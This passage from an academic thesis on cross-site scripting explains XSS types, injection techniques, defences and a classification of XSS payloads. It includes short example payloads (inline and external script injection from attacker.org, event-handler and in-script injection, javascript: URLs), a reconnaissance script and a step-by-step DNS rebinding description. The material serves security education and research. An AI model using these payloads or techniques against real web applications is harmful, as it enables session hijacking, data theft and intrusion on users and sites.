Björn Engelmann (SVS, Uni Hamburg) XSS Detecion 2007.11.06 7 / 21

Figure 2.2.: Stored XSS

after successfully embedding the malicious script into the application, the actual
exploitation does not rely on any means outside the vulnerable application.
Stored XSS issues are the foundations of self-replicating XSS worms [168, 65, 140,
257, 85]. Such worms replicate within the pages of a given web application, spread-
ing the script on multiple pages. The first large-scale XSS worm was the so-called
“Samy is my hero” worm [140] (also known as JS.Spacehero [244]) that infected
the social networking site myspace.com in 2005. The worm was injected by its
author Samy Kamar into his myspace.com profile page. The script caused every
logged-in user of the site to add a copy of the script to their own profile, causing
an exponential propagation rate. Within less than 24 hours more than one million
profile pages got infected with the script [140]. The first documented cross-domain
XSS worm that spread on more than one domain was created by Rosario Valotta
[257] in 2007.

3. DOM-based XSS [153] is a special variant of reflected XSS in which logic er-
rors in legitimate JavaScript cause XSS conditions by careless usage of client-side
data. More precisely, DOM-based issues may occur if a JavaScript uses attacker-
controlled values (e.g., the document’s full URL) to alter the HTML content of its
web page.

38
 2.1. Types of XSS

For instance, consider Listing 2.7:

1 < script >
2 document . write ( document . URL );
3 </ script >

Listing 2.7: DOM-based XSS

This code is embedded in the page http://example.org/index.html. If the

attacker accesses the page using the URL http://example.org/index.html#
hscriptialert(’xss’);h/scripti he is able to inject JavaScript into the page.
Furthermore, the application itself is not able to defend against this attack by
employing the standard defense mechanism of server-side input validation or out-
put sanitation (see Sec. 2.4), as the document.URL value is completely under the
control of the web browser. As a matter of fact, the server-side application is
not even able to detect the exemplified attack, as the browser does not include
the in-page anchor (#<script...) in the HTTP request. Unlike other types of
programming-based XSS which only occur in the context of dynamically composed
HTML, DOM-based XSS can affect also static HTML pages [108, 78].

2.1.2. XSS caused by insecure infrastructure

Besides programing mistakes, XSS can also be caused by misbehaving web servers or
browsers. Unlike XSS problems rooted in insecure programming, which always only
apply to one single vulnerable application, infrastructure-based XSS problems affect all
web applications that are served or accessed with the vulnerable component.

1. Server induced: This type of XSS vulnerabilities occurs when a defective web
server is utilized to deliver the application’s HTML. In such a case XSS issues are
introduced in all applications that are served from this server, regardless of the
respective application’s source code.
A common server induced XSS problem may occur with server-wide error pages
[165, 278]. E.g., in 2007 a large number of web applications that were hosted by
the internet provider 1&1 suffered from XSS issues because of vulnerable default
404-error-pages [278]. Besides erroneous configuration, as it is the case with such
vulnerable default template files, server induced XSS can also be caused by pro-
gramming errors in the actual server. E.g., in 2006 most web applications that
were served by the Apache web server [167] were susceptible to XSS due to wrong
handling of the Expect-HTTP-header by the server [284].

2. Browser induced: Furthermore, vulnerable browser configurations can also cause

XSS issues [206, 243, 125]. In such situations, most or all web applications displayed
in the affected browser are susceptible to XSS attacks. As in such cases the root of
the vulnerability lies within the web browser’s code, JavaScripts that are injected
this way often get granted additional privileges. This way in many cases the script
is able to circumvent the same-origin sandbox (see Sec. 1.3.1). For instance, scripts

39
2. Cross-Site Scripting (XSS)

injected via vulnerable Greasemonkey configurations are allowed to create cross-

domain XMLHttpRequest [125].

3. Network induced: Finally, certain malfunctions within the networking infras-

tructure can cause otherwise secure web applications to suffer from XSS problems.
For example, the presence of web proxies within a client’s network may cause
HTTP Response Splitting issues which in turn can lead to XSS attacks [150]. Fur-
thermore, Dan Kaminsky disclosed a networking issue in 2008 [139] which caused
universal XSS problems: The US-based ISP Network Solution had modified their
DNS name-servers behaviour in respect to queries which requested the IP for a
non-existing domain-name. Instead of returning a DNS message indicating that
the lookup had failed, the name-server replied with a valid internet address which
hosted an HTML based error message along with several advertisements. This
page’s HTML was displayed within the browser using the erroneous domain-name.
This behaviour was also executed when the client requested a non-existing sub-
domain of an otherwise valid site (such as doesnotexsist.google.com). The
circumstance that caused the insecurity was that the ISP’s error-page had a XSS
issue. As the error-page was delivered for arbitrary subdomains of existing web ap-
plications, every single web application which was delivered over the ISP’s network
was susceptible to XSS.

2.2. Selected XSS techniques

Depending on the specifics of the respective XSS vulnerability, the exact injection tech-
nique may differ. In this section we briefly document the most common methods which
inject attacker-controlled script code into the application’s HTML (for a complete list
of attack techniques please refer to [95]).
The adversary’s chosen script injection method depends on the individual charac-
teristics of the given XSS vulnerability. In general the utilized technique depends on
two factors: the injection constraints and the set of applicable script code encapsulation
methods.

Injection constraints: The specific injection constraints which have to be considered

by the adversary are determined by the implementation characteristics of the attacked
web application and the regarded XSS vulnerability:

• Injection position: Where is the attacker controlled syntax injected within the
resulting HTML code? Possible injection positions are either:

– in the non-markup content of the document,

– within a given HTML-tag,
– within a given HTML-attribute,
– or within a legitimate JavaScript of the attacked application.

40
 2.2. Selected XSS techniques

In certain cases, the attacker can change the injection position by injecting addi-
tional meta-characters at the beginning of his attack string. This way he is able to
“break out” of the current context. For instance, if the injection position is located
within an HTML tag, he can use the ’>’ character to close the HTML tag and move
the injection position into the non-markup context of the document. Accordingly,
he can inject additional quotes or double-quotes to terminate HTML-attributes.

• Available characters: Depending on the given conditions in respect to input filter-

ing (see Sec. 2.4) only a limited set of characters might be used within the attack.
E.g., the myspace-XSS-worm [140] circumvented an input-filter that disallowed
escaped double-quotes.

• Injection size: In certain cases the length of the injected data is limited by the web
application.

Script code encapsulation: Depending on the exact situation, the adversary may uti-
lize one of the following techniques to insert the actual script code into the web page:

• Script-tag injection with inline code: This common technique is executed

by injecting a pair of script-tags which enclose the complete JavaScript payload.
This technique is applicable in cases where the injection position is withing the
non-markup content of the web page.
1 < script > alert ( ’ xss ! ’); </ script >

Listing 2.8: script-tag injection with inline script

• Script-tag injection with external code: The script-tag allows an optional

src-attribute. If such an attribute is present, the browser uses the referenced URL
to obtain the actual script code from a remote location.
This technique is applicable in cases where the injection position is withing the
non-markup content of the web page.
1 < script src =" http :// attacker . org / xss . js " > </ script >

Listing 2.9: script-tag injection with external script

• Event-handler injection: HTML tags can contain event-handler attributes, such

as onclick, onload, or onerror. The JavaScript that is contained in the at-
tribute’s value is executed when the respective event occurs. In cases where an
attacker is able to either inject a complete HTML-tag that allows event-handlers or
is able to add arbitrary attributes to an existing tag, he is able to inject script-code.
1 < img src =" http :// attacker . org / img . jpg " onload =" alert ( ’ xss ! ’);" >

Listing 2.10: Event-handler injection

41
2. Cross-Site Scripting (XSS)

• In-script injection: Occasionally, user-provided data is used to dynamically gen-

erate JavaScript on run-time. Careless handling of such data can lead to situations
that allow the adversary to inject additional JavaScript commandos into the script.
1 [ The user - name ’ Martin ’ was added on run - time to the code ]
2 < script >
3 [...]
4 var name = " Martin ";
5 [...]
6 </ script >

Listing 2.11: Dynamically generated JavaScript

1 [ The submitted name value was set to : ’ foo "; alert ( ’ xss ! ’); // ’ ]
2 < script >
3 [...]
4 var name = " foo "; alert ( ’ xss ! ’); //";
5 [...]
6 </ script >

Listing 2.12: Dynamically generated JavaScript with injected XSS

• javascript:-URLs: Browsers recognize the pseudo-URL-handler ’javascript:’.

If the browser is directed to such an URL, it parses the embedded script code and
executes it within the domain of the web application which currently is displayed
in the browser window.
In cases, in which an attacker controls the full value of an URL attribute, he can use
a javascript:-URL to inject code into the application. In most cases, user inter-
action is necessary to execute such injected JavaScript, e.g., clicking the poisoned
link. However, under certain conditions, the browser evaluates javascript:-URLs
automatically. E.g., older versions of Internet Explorer execute javascript:-
URLs that are embedded in the src-attribute of image or iframe tags [95]. Fur-
thermore, certain javascript:-URLs that are used within CSS styles are suscep-
tible to injection attacks (see Listing 2.13).
1 < div style =" background : url ( ’ javascript : eval (/* xss */) ’)" >

Listing 2.13: javascript:-URL XSS in a CSS style

Potential sources for untrusted data

All user-controlled parts of an HTTP request are potential candidates to carry an XSS-
exploit string: The HTTP method, the URL, all HTTP headers (such as User-Agent,
Host, or Cookie) and the content of the HTTP body.
In the cases of reflected or DOM-based XSS (see Sec. 2.1.1), the attacker has to create
the malicious HTTP request within the browser of the attacked victim. Hence, in general
the adversary is limited to the request’s URL and body to execute his attack. However,
it has been documented, that certain (now outdated) versions of the Flash plug-in [3]
were capable to cause reflected XSS conditions through setting an attacker-controlled
Expect [284] or Cookie [155] header.

42
 2.3. XSS outside the browser

2.3. XSS outside the browser

Exploitation of XSS vulnerabilities that are rooted in insecure programming practices are
not limited to the web browser. HTML and JavaScript are also used to define graphical
components of certain applications. If such components are used to render untrusted
data, the same XSS problems as observed with the web browser can occur. Often in
such cases, the injected JavaScript is executed with additional privileges that exceed
browser-based JavaScript which is limited by the SOP.

Example 1: Mac Os X Dashboard widgets: The “Dashboard” provided by Mac

Os X [10] is a lightweight run-time environment for mini-applications, called “widgets”.
Such widgets are commonly used to display status information or query web-based infor-
mation services. The user interface of Dashboard widgets is defined by HTML and CSS,
while the widget’s actual code is written in either Objective C or JavaScript. In 2007
Thomas Roessler [222] disclosed a XSS vulnerability in Google’s Gmail widget which
could be exploited by sending the victim a mail with a subject containing HTML and
JavaScript code. As Dashboard widgets are not restricted by the SOP and provide access
to the computer’s resources through the object widget.system() this particular XSS
issue could lead to complete compromise of the attacked system.

Example 2 - Skype: The internet-telephony application Skype [241] provides a feature,

which allows user to insert a video to visualize his current mood to his communication
partners. The actual video selection is done through online skype partners and is based
on regular web application technology such as HTML. The rendering of the HTML
is done using the default rendering engine of the operating system (e.g., Internet Ex-
plorer on Windows). [172] documented that this functionality contained an XSS problem
which could be exploited by creating a video with crafted meta-data resulting in a script
injection issue. As the JavaScripts, that are executed within the vulnerable Skype com-
ponent, were not restricted by the SOP, the issue allowed the compromise of the victim’s
computer.

2.4. Avoiding XSS

In real-life applications one encounters two distinct countermeasures for XSS prevention:
input filtering and output sanitation.
Input filtering [103] describes the process of validating all incoming data. Suspicious
input that might contain a code injection payload is either rejected, encoded, or the
offensive parts are removed. In the latter case, so-called “removal filters” are used. The
protection approach implemented by such filters relies on the removal of special keywords,
such as <script, javascript, or document. In practice such filtering approaches are
error-prone due to incomplete keyword-lists or non-recursive implementations (see [22]
and Figure 2.3).

43
2. Cross-Site Scripting (XSS)

Figure 2.3.: Dysfunctional removal filter removing the keyword “document”

If output sanitation [90] is employed, certain characters, such as <, ", or ’, are HTML
encoded before user supplied data is inserted into the outgoing HTML. As long as all
untrusted data is disarmed this way, XSS is prevented.
Both protection approaches fail frequently [39], either through erroneous implemen-
tation, or because they are not applied to the complete set of user supplied data. Sev-
eral information-flow approaches for static source code analysis have been discussed
[239, 109, 170, 269, 136] in order to aid developers to identify source code-based XSS.
However, due to the undecidable nature of the underlying problem [164, 219] such ap-
proaches suffer from false positives and/or false negatives.

44
3. Exploiting XSS Issues
We’re entering a time when XSS has become the new Buffer Overflow
and JavaScript Malware is the new shellcode.
Jeremiah Grossman [88]

In this chapter we explore the offensive capabilities of JavaScript. The chapter is

organized as follows: In Section 3.1 we define the term “JavaScript Driven Attack”
which subsumes the set of all attacks which can be initiated with the legitimate means of
JavaScript code running within a web browser. Then, we briefly discuss general defensive
behaviour which is aimed to protect against such attacks. In Section 3.2 we introduce
the term “XSS Payload”, denoting an attack that is executed through an XSS exploit,
and show that the previously introduced defensive policy fails in such cases. Section 3.3
lists and explains basic attack techniques which constitute the building blocks of most
XSS Payloads. In Section 3.4, we propose a systematical classification of XSS Payloads
to build a basis to measure the defensive coverage of potential countermeasures. Finally,
based on the results of this chapter, in Section 3.5 we define the scope of the remainder
of this thesis.

3.1. Browser-based attacks using JavaScript

3.1.1. JavaScript Driven Attacks (JSDAs)
As introduced in Section 1.3 JavaScript provides the programmer with rich and versatile
capabilities for creating client-side code. However, as we will discuss later in this chap-
ter (and explore further in Chapters 4, 5, and 6), JavaScript also provides a potential
attacker with a wide range of possibly offensive techniques. For this reason, every visit
to a web page may expose the user to JavaScript driven attacks:

Definition 3.1 (JavaScript Driven Attack (JSDA)) With the term JavaScript Driven
Attack (JSDA) we subsume all attacks that are carried out by executing malicious JavaScript
within the victim’s web browser.

Note: We are aware that the interpretation of the term malicious is subjective. Within
the context of this thesis, we define a malicious script according to its actions: If the
script is performing actions that either undermine the victim’s privacy (confidentiality
attacks), carry out a denial-of-service attack (availability attacks), or execute unwant-
ed/unintended state changing actions against the victim’s consent (integrity attacks),
we classify the script as malicious (for a further discussion of these attack-types please
refer to Section 3.4.3).

45
3. Exploiting XSS Issues

A defining property of JSDAs is that such attacks solely employ “legitimate” means
which are either properly defined in the language specification, provided by the web
browser’s public interface, or constitute characteristics of the associated protocols, such
as HTTP. This distinguishes this class of attacks from browser based exploits which rely
on security vulnerabilities within the browser’s source code [215].

3.1.2. Defensive browsing

To avoid the risk of being the victim of a JSDA, a user can follow two common practices:

1. Deactivate JavaScript.

2. Only visit web applications which are trusted by the user to not carry out malicious
actions. From here on, we denote such web applications as trusted web applications.

With the birth of the “Web 2.0” phenomena [205] and the trend towards rich web
applications which mimic the behaviour of their desktop counterparts, the usage of
JavaScript became ubiquitous and in most cases mandatory. Thus, the advice to gener-
ally deactivate JavaScript is only of very limited applicability. Furthermore, restricting
potential web destinations to only explicitly trusted web pages is incompatible to most
user’s usage patterns. However, weaker variants of the two strategies can be combined
to form an effective policy:

Only allow JavaScript for explicitly trusted web applications.

Browser extensions, such as NoScript [175] can aid this approach in a semi-automated
fashion. By utilizing this defensive practice, a user can effectively prevent all attacks
which are hosted on malicious pages.
By following the described defensive policy, a web user implicitly partitions the set of
all web applications into two classes: Trusted, which are permitted to execute JavaScript,
and untrusted, for which JavaScript execution is prohibited.

3.2. XSS Payloads

3.2.1. Executing JSDAs in trusted contexts through XSS
As discussed in Section 3.1.2, by following the defensive policy to restrict JavaScript
execution to trusted applications, an effective and reliable protection against JSDAs
originating from unknown locations can be attained. For this reason, from an academic
point of view the topic of protection against general JavaScript attacks can be regarded
to be (at least partially) solved.
However, in the special case where an adversary is able to exploit an XSS vulnerability
to inject JavaScript code into the trusted class of web applications, the outlined policy
is powerless. Accordingly, within the class of JSDAs we define a specific subtype:

46
 3.2. XSS Payloads

Definition 3.2 (XSS Payload) A JSDA which is injected into a trusted web applica-
tion context by exploiting an XSS vulnerability is called XSS Payload.

By injecting the JSDA into a trusted web application via XSS an adversary creates a
situation in which the injected script is indistinguishable from the application’s legit-
imate JavaScripts. Therefore, by granting the right to execute scripts to the trusted
application, the injected script is also permitted to run. Therefore, the defensive policy
is defeated and the attack can take place. Hence, in conclusion, we state the following
observation:

Without further countermeasures, no reliable defence against XSS Payloads exists.

For this reason, the remainder of this thesis will focus on the capabilities of XSS Payloads
(the rest of this chapter, as well as Chapters 4 – 6), payload-specific countermeasures
(Part II), and language-based XSS avoidance methods (Part III).

Note: An XSS exploit can also utilize non-JavaScript payloads, such as malicious Flash
or Java applets. However, active content delivered this way is cleanly separated from the
web page’s HTML and the location of such applets is easily identified by their respective
applet-, embed- or object-tags. Furthermore, unlike JavaScript, these technologies were
not specifically designed to interact with the web page’s HTML layer. For this reason,
their execution is not crucial in respect to general interaction with a web application’s
user interface. Therefore, it is feasible to block such content even in the context of
trusted web applications. Browser add-ons, such as FlashBlock [42], or filtering web
proxies can enforce a mandatory opt-in policy, in which every execution of an embedded
applet has to be explicitly initiated by the application’s user.
On the other hand, JavaScript is closely interweaved with the hosting web page’s
HTML content and in many cases provides crucial UI functionality which is necessary
for basic interaction with the web application. Thus, an according opt-in approach on a
per-script basis is not feasible.

3.2.2. A malware analogy

Analogous defensive policies, as the one defined in Section 3.1.2, can also be found in
the context of other threat classes. For instance, certain types of malware rely on the
user to explicitly activate the malicious code, e.g., by clicking on an email attachment.
By educating users to never start any untrusted application on their computer (a policy
which is aided by modern operating systems through logging an application’s origin
and displaying according warnings), sufficient protection against this kind of malware
can be reached. However, if one of the trusted applications exhibits a code injection
vulnerability, such as a Buffer Overflow [201], an adversary may be able to execute
malicious code despite the user’s strict compliance to the outlined policy.
Hence, the introduction quote coined by Jeremiah Grossman [88] refers to this matter:
Exploiting an XSS issue in a trusted web application enables the attacker towards code

47
3. Exploiting XSS Issues

Type events∗ readable info∗ access rights∗

IFrame onload - -
Image onload, onerror width, height -
Script onload - known elements can be called and read
∗
Please note: The actual capabilities may vary between different browser implementations.

Table 3.1.: Exemplified cross domain network capabilities

execution within the web application, comparable as exploiting a Buffer Overflow allows
the adversary to execution code within a vulnerable application.

3.3. Frequently used attacks techniques

Before we discuss the classes of potential JSDAs systematically in Section 3.4, this section
briefly documents several general techniques that can be found in varying payload types.
This overview should provide a first insight of the capabilities possessed by JavaScript
and, thus, aid a clearer understanding of Section 3.4’s payload classification.

3.3.1. A loophole in the Same Origin Policy

As explained in Section 1.3.2, the direct cross-domain, cross-application and cross-
protocol networking capabilities of JavaScript are restricted by the SOP. However, Java-
Script is permitted to dynamically include elements from arbitrary locations into the
DOM tree of its container document. This exception in the networking policy and the
fact that the SOP applies on a document level creates a loophole in SOP:

• The script can create HTTP requests to arbitrary URLs of arbitrary external
locations by including remote elements into the page’s DOM tree.

• The script can receive and intercept events that might be triggered by the inclusion
process.

• After the inclusion process has ended, the remote element is part of the same
document as the script. Due to the document-level nature of the SOP, the script
now has access to properties of the element (see [273] and Table 3.1) that are
readable through JavaScript calls.

In the next sections we explain how this loophole can be exploited for malicious purposes.

3.3.2. Creating state-changing HTTP requests

As stated above a JavaScript is capable to create HTTP requests to arbitrary URLs.
Depending on the specifics of the targeted web application, merely receiving an HTTP
request for a certain URL can cause server-state changing actions.

48
 3.3. Frequently used attacks techniques

Example: The web application http://www.example.org provides a simple counter

script to monitor access to the website. The index page contains a hidden image which
references the counter’s implementation http://www.example.org/counter.cgi, caus-
ing the counter to increase every time this URL is accessed.
However, due to the cross-domain nature of HTML’s image tag, the image could also
be included in a web page hosted at www.othersite.com/foo.html. Therefore, every
visit to this page would also alter the counter’s value and, thus, conduct a state-changing
action in respect to www.example.org.

3.3.3. The basic reconnaissance attack (BRA)

Based on the in Section 3.3.1 discussed loophole in the SOP, several reconnaissance
techniques are possible. All these techniques share the same basic method which allows
a binary decision towards the existence of a specified object. From here on we denote
the underlying method as basic reconnaissance attack (BRA).
The BRA utilizes JavaScript’s event-handler framework which provides hooks to inter-
cept various events that occur during the rendering of a web page. More specifically, the
events onload and onerror in combination with timeout-events are employed. Using
these three indicators a JavaScript can conclude the outcome of a cross-domain element
inclusion process as described earlier in this chapter and in Section 1.3.2. The BRA
consist of the following steps (see Listing 3.1 for an example):

1. The script constructs an URL pointing to the remote entity of which the existence
should be examined.

2. Then the script includes a suiting, network-aware element in the webpage that
employs the constructed URL to reference the remote entity. Such elements can
be e.g., images, iframes or remote scripts.

3. Additionally, the script might initiate a timeout-event to receive information about

the time needed for the inclusion process.

4. Using JavaScript’s event-framework the script collects evidence in respect to the

remote entity:

• An onload-event signals the successful inclusion of the element and, hence,

verifies its existence.
• The indication given by an onerror-event depends on the specific context.
This event is triggered either if the received data does not match the require-
ments of the respective element or alternatively if the network connection
was terminated. Additionally, depending on the employed HTML element
the JavaScript error console can be employed to gain further evidence.
• The occurrence of the timeout-event prior to any other event related to the
inclusion process indicates a pending network connection, hinting that the
target host does not exist.

49
 3. Exploiting XSS Issues

1 < script >

2 function loaded (){
3 // resource exists
4 }
5
6 function timed_out (){
7 // resource does not exist
8 }
9
10 function err (){
11 // requesting the resource created an error
12 }
13
14 i = new Image ();
15 i . onload = loaded ;
16 i . onerror = err ;
17 window . setTimeout ( timed_out ,1000);
18
19 i . src = " http :// target . tld / path ";
20 </ script >

Listing 3.1: The basic reconnaissance attack

3.3.4. DNS rebinding

DNS rebinding is a powerful technique to undermine the SOP. It was originally discussed
1996 by [237] in respect to Java applets. In 2002 [181] showed that JavaScript’s SOP is
affected by the same issue. In 2006 we demonstrated that modern web browser imple-
mentations are still susceptible to this attack [124]. The attack is also known as “anti
DNS pinning” [90] and “Quick Swap DNS” [181].
The decision if a given JavaScript is granted access to a certain resource (e.g., browser
window, or network location) is governed by the SOP. As explained in Section 1.3.1,
the SOP relies on the domain property of the respective entity’s origins. However, the
HTTP protocol does not require any information about the requested domain. The
actual HTTP connections are made using the server’s IP address1 .
DNS rebinding exploits this circumstance by utilizing short-lived DNS entries to gain
full cross-domain read/write privileges (note: This general attack description assumes
that no countermeasures, as DNS pinning are in place):

0. Preparation: The attacker aims to subvert the SOP in respect to the domain
target.com.
The adversary is in full control over a given DNS entry, e.g. attacker.org. He con-
figures the respective DNS server to let attacker.org resolve into the IP address of
an internet host which is also owned by the adversary, e.g. 200.200.200.200. The
DNS answers for attacker.org are supplied with a minimal time-to-live (TTL)
value causing them to expire immediately.

1. The adversary causes the victim’s browser to load an HTML page from the ad-
versary’s server using a URL that starts with http://attacker.org. Before cre-
1
The HTTP 1.1 specification [74] allows an optional host-header which was introduced for situations
in which a given web server hosts more than one domain (so-called “virtual hosts”). However, in
cases where no further virtual hosts have been configured, the host-header is ignored.

50
 3.4. Systematic overview of JSDAs / XSS Payloads

ating the HTTP request, the web browser executes a DNS lookup, thus, receiv-
ing the IP 200.200.200.200 to be used for the request’s target location. The
browser requests, receives and renders the response’s HTML content. The con-
tained JavaScript payload is parsed and executed.

2. Immediately after the victim’s initial HTTP request was received, the adversary
changes the DNS mapping of attacker.org to the IP address of the targeted
server target.com, e.g. 1.2.3.4.

3. The malicious JavaScript initiates further direct HTTP communication (see Sec. 1.3.2)
with attacker.org, e.g. by utilizing an iframe, a pop-up window, or the XMLHTTP-
Request-object.

4. As the DNS entry for attacker.org has expired, the browser conducts a second
DNS lookup for the domain. As the adversary has changed the IP mapping, the
domain now resolves to target.com’s server IP (1.2.3.4).

5. The browser creates the HTTP request and sends it to 1.2.3.4, while assigning
the response’s content to the domain attacker.org. As the browser considers
both the adversary’s JavaScript as well as the target’s HTML to belong to the
same domain, the malicious JavaScript has full read/write access to all resources
that are hosted on target.com.

See Section 6.2.1 and Figures 6.3.A to 6.3.C for an exemplified attack scenario.

DNS pinning: To counter this attack most modern browsers implement “DNS pinning”:
The mapping between a URL and an IP-address is kept by the web browser for the entire
lifetime of the browser process even if the DNS answer has already expired.
The practise of DNS pinning is not undisputed: DNS pinning introduces problems
with dynamic DNS services and DNS based redundancy solutions. Furthermore, DNS
pinning is unable to protect against multi-session attacks as they have been described
by Soref [245] and Rios [220]. Finally, DNS pinning is a direct violation of RFC 2616
[74] which states “HTTP clients [...] MUST observe the TTL information reported by
DNS” (Section 15.3).

3.4. Systematic overview of JSDAs / XSS Payloads

In this section we propose a hierarchical classification of XSS Payloads. The classifi-
cation’s purpose is twofold: For one, it provides a better understanding of a malicious
JavaScript’s capabilities and limitations. Furthermore, it enables an assessment of the
in Part II proposed countermeasures in respect to their scope and completeness.
Our classification is built on identifying the existing execution contexts of JavaScript
along with deducting the potential targets, types, and capabilities of the discussed attacks.
Before we present the actual classification, we clarify these categories in the following
sections.

51
3. Exploiting XSS Issues

(A) Application
(B) Browser
(C) Computer
(D) Intranet
(E) Internet

Figure 3.1.: Separate execution-contexts of a JavaScript

3.4.1. Execution-contexts
The actual capabilities and potential attack-targets of a given JavaScript are defined by
the specific characteristics of the environment in which it is executed (e.g., the hosting
application or the type of web browser that interprets the script) - the script’s exe-
cution environment. A closer examination of such execution environments yields the
following observation: A given JavaScript is executed in a cascade of growing, inclusive
contexts. The script is embedded in a web application. This application is accessed using
an instance of a web browser. This browser instance is executed on a computer. This
computer is part of an intranet and has access to the internet. Thus, within a given exe-
cution environment we can differentiate between several, disjunctive execution-contexts,
which are derived from on a series of inclusive boundaries (see Figure 3.1). Each of these
contexts represents a specific set of potential attack-targets and -capabilities.
Based on the observations stated above, in the context of this thesis we differentiate
between the following five execution-contexts: application, browser, computer, intranet,
internet. The transition between a inner to the next outer context boundary is defined
by two characteristics:

• The set of applicable attack-targets increases (e.g., all internet hosts instead of
only the intranet hosts).

• The script’s capabilities decrease (e.g., within the hosting application the script is
not restricted by the SOP, however, outside of the application execution-context
the SOP takes effect).

For a better understanding of these two characteristics please refer to the detailed
discussion of all execution-contexts given in Section 3.4.4.

3.4.2. Attack-targets
To determine a script’s capabilities in a given execution-context, it is necessary to es-
tablish all its potential attack-targets within this execution-context. As discussed in
Section 1.3.1, every JavaScript is subject to the execution sandbox which is enforced

52
 3.4. Systematic overview of JSDAs / XSS Payloads

by the SOP. Therefore, all malicious actions of a given script that target resources out-
side of its hosting web application are limited to the cross-application communication
methods documented in Sections 1.3.2. As shown, all of these communication methods
rely on addressing the communication target via an URL. More precisely, a necessary
characteristic of a potential application-external attack-target is that a script can use
an URL to address the target.
Therefore, a script’s attack-targets and -capabilities are completely defined by the set
of URLs that a script can address. For this reason, it is sufficient to examine the set
of available URL schemes (see Sec. 1.1.2) in combination with the scheme’s respective
targets and their potential effects on such targets.

3.4.3. Attack-types and -capabilities

Finally, we have to examine the different attack-types which can be executed against
the identified attack-targets. According to Pfleeger [208] a given attack may threaten
the integrity, confidentiality, or availability of its target. In this section we discuss how
these general terms can be applied to JSDAs.
As discussed before, for all targets outside the application execution-context the ac-
tions of a malicious JavaScript are restricted to the indirect capabilities listed in Sections
1.3.2 and 3.3. Consequently, Pfleeger’s general attack categories translate as follows, in
respect to the specific properties of the web application paradigm and the offensive
means provided by the web browser: Given a targeted entity, the adversary may either
aim to compromise the integrity of the entity, which corresponds to committing a state-
changing action on the entity, subvert the confidentiality of a restricted property of the
entity, or undermine the availability of the entity by initiating a denial-of-service attack.
Hence, in the context of this thesis, we divide all specific attacks according to their
respective type:

Definition 3.3 (State attack) An state attack aims to undermine the target’s in-
tegrity by committing a state-changing action which exceeds the attacker’s legitimate
authorisation.

Definition 3.4 (Confidentiality attack) A confidentiality attack aims to obtain in-

formation in respect to the attack’s target to which the adversary has no legitimate access.

Definition 3.5 (Denial-of-service attack (DoS)) A denial-of-service attack aims to

reduce the availability of the attack’s target by either causing the target to malfunction
or by flooding the target’s interfaces.

While a real-world XSS Payload may contain more than one attack-type in combina-
tion, it is always possible to partition a composite attack into sub-attacks which fit in
one of the defined attack-types.
We will use these attack-types as a mean to categorise documented attacks in our
attack classification which we present in Section 3.4.4. However, unlike state and confi-
dentiality attacks, the details of web-based denial-of-service attacks are not specific for

53
3. Exploiting XSS Issues

different execution-contexts. Therefore, we omit this attack-type in the attack classifi-

cation for readability reasons. Instead we conclude this section with a brief overview
regarding this attack-type.
Within a given attack-type and depending on the attack-target and execution-context,
a script possesses distinct attack-capabilities. In this context, an attack-capability repre-
sents a specific subclass of attacks which all share the same attack method. The identified
attack-capabilities form the final level of our hiearchical classification. See Section 3.4.4
for details.

Web-based denial-of-service attacks

Regardless of the execution-context, a malicious script has two options towards execu-
tion of a web-based denial-of-service attack: Either it can cause the attacked entity to
malfunction or it can aim to exhaust critical resources, such as network bandwidth or
computing power.
Furthermore, one can divide the set of web-based DoS attacks into two sub-classes
based on the attacks target: Attacks within the browser (application, browser, and
computer execution-contexts) and attacks targeting remote entities (computer, intranet,
and internet execution-contexts).
These two observation result in four fundamental attack patterns: Within the browser
the attacker can either aim to exhaust computer internal resources, such as processor
power by, e.g., initiating a JavaScript fork bomb. Alternatively, he can attempt to crash
either the application, the browser, or the user’s computer by exploiting an existing
flaw in the corresponding executable. In respect to browser-external attack targets, the
adversary can either attempt to trigger a flaw in the entity’s interface-code by sending
a specifically crafted network request. If no such flaw is known to the attacker, he could
initiate a web-based distributed DoS attack, such as Grossmann describes in [89]. This
option is especially effective in combination with a large scale XSS worm incident [140].

3.4.4. Systematic classification of XSS Payloads

In this section, we propose a hierarchical classification of XSS Payloads. In this context,
the classification defines all execution-contexts and briefly identifies the corresponding
attack-targets, -types and -capabilities. In addition, the Chapters 4, 5, and 6 contain
thorough discussions on selected attack techniques.
The classification is structured as follows: The root categories are derived from the
above proposed, disjunctive execution-contexts. Then, for each execution-context all
potential attack-targets are listed along with their corresponding URL schemes. Finally,
divided according to their respective attack-type (state or confidentiality), the actual
attack-capabilities are identified based on publicly documented attacks.

54
 3.4. Systematic overview of JSDAs / XSS Payloads

XSS Payload Script code

Execution context Application Browser Computer Intranet Internet

State-full Static Dynamic

Attack-target web browser browser
applications properties properties

Attack-type Confidentiality State

Leaking
Attack-capability application CSRF
state

Figure 3.2.: Classification of XSS payloads (exemplified)

Thus, we propose a four-fold, hierarchical classification with the following classification

categories (see also Fig. 3.2):

1. Execution-context

2. Attack-target

3. Attack-type

4. Attack-capability

As explained above, the classification values of categories 1 to 3 were deducted sys-

tematically. The elements of category 4 were aggregated empirically utilizing disclosed
issues. Note: As both web browsers and web applications are still evolving and the
field of security research in this domain is comparatively young, it is possible that more
attack-capabilities may be disclosed in the future.
An ID is assigned to every item of the classification for unambiguous identification
purposes. The ID’s syntactic conventions are as follows:

• ContextID: Continuous enumeration using the capital letters: A (application con-

text) to E (internet context), see Figure 3.1.

• TargetID: Continuous enumeration in respect to the corresponding context using

numbers (ContextID.num, e.g., D.3 = intranet hosts).

55
3. Exploiting XSS Issues

• TypeID: Either the letter s for state attacks or the letter c for confidentiality
attacks.

• CapabilityID: Continuous enumeration in respect to the corresponding, hierarchi-

cal father-elements using numbers (ContextID.TargetID.TypeID.num, for instance,
D.3.c.1 = intranet BRA scanning).

In the remainder of this section we document our proposed classification:

(A) Application-context: Every JavaScript is embedded in a web page which belongs

to a web application. All targets and capabilities which the script possesses in
respect to this application are subsumed in the “application” execution-context.
As discussed in Section 1.3.1, from a security point of view, the boundaries of a
web application are defined by the SOP. Therefore, the application-context of a
given JavaScript is defined by the domain-value of the web page in which the actual
script is included. Within this domain the JavaScript possesses almost unlimited
capabilities (see Sec. 1.3). The script has full read/write access to the DOM tree
and is able to execute HTTP communication with the hosting web application
as long as the domain-value of the outgoing HTTP requests match the script’s
domain value.

Attack-targets: Unlike the other execution-contexts, within the application-context

only a single target exists:

